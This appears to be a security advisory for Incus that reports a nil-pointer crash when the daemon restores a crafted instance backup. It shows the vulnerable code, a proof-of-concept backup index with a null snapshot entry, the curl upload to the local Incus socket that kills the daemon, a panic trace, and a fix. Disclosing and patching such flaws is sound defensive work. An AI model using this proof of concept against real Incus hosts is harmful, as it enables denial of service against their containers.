Incus: Nil-pointer dereference in createDependentVolumesFromBackup on disk.{Volume,VolumeSnapshots,Pool}

 1func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {
 2    ...
 3    for _, disk := range srcBackup.Config.DependentVolumes {
 4        if disk == nil {                                  // ← d768f81 parent fix
 5            return errors.New("Bad dependent volume definition found in index")
 6        }
 7        ...
 8        snapshots := []string{}
 9        for _, snap := range disk.VolumeSnapshots {
10            snapshots = append(snapshots, snap.Name)      // ← I-2 trigger: snap may be nil
11        }
12 
13        bInfo := backup.Info{
14            Project:          disk.Volume.Project,        // ← disk.Volume may be nil
15            Name:             disk.Volume.Name,
16            Backend:          disk.Pool.Driver,           // ← disk.Pool may be nil
17            Pool:             disk.Pool.Name,
18            ...
19        }
20        ...
21        devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name)
22        ...
23    }
24}

 1name: poc-inst
 2backend: dir
 3pool: default
 4type: container
 5optimized: false
 6optimized_header: false
 7snapshots: []
 8config:
 9  container:
10    name: poc-inst
11    architecture: x86_64
12    type: container
13    profiles: ["default"]
14    config: {}
15    devices: {}
16    expanded_devices:
17      depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data}
18    expanded_config: {}
19  dependent_volumes:
20    - volume: {name: depvol, type: custom, content_type: filesystem, config: {}}
21      pool:   {name: default, driver: dir, config: {}}
22      volume_snapshots:
23        - ~    # explicit null entry → snap.Name at 9374 panics

 1$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
 2    --data-binary @/tmp/poc-inst.tar.gz \
 3    -H 'Content-Type: application/octet-stream' \
 4    -H 'X-Incus-name: poc-inst' \
 5    http://incus/1.0/instances
 6{"type":"async","status":"Operation created","status_code":100,...}
 7 
 8$ ps -ef | grep incusd | grep -v grep    # process gone

 1panic: runtime error: invalid memory address or nil pointer dereference
 2[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]
 3 
 4goroutine 257 [running]:
 5github.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)
 6    /build/incus/internal/server/storage/backend.go:9374 +0x42c
 7github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)
 8    /build/incus/internal/server/storage/backend.go:782 +0x660
 9main.createFromBackup.func8(...)
10    /build/incus/cmd/incusd/instances_post.go:989 +0x2ac
11github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
12    /build/incus/internal/server/operations/operations.go:307 +0x2c

 1--- a/internal/server/storage/backend.go
 2+++ b/internal/server/storage/backend.go
 3@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {
 4     for _, disk := range srcBackup.Config.DependentVolumes {
 5         if disk == nil {
 6             return errors.New("Bad dependent volume definition found in index")
 7         }
 8+
 9+        if disk.Volume == nil || disk.Pool == nil {
10+            return errors.New("Bad dependent volume definition: missing volume or pool")
11+        }
12+
13+        for _, snap := range disk.VolumeSnapshots {
14+            if snap == nil {
15+                return errors.New("Bad dependent volume snapshot definition")
16+            }
17+        }
18+
19         optimizedStorage := srcBackup.OptimizedStorage
20         optimizedHeader := srcBackup.OptimizedHeader
21 
22         snapshots := []string{}
23         for _, snap := range disk.VolumeSnapshots {
24             snapshots = append(snapshots, snap.Name)
25         }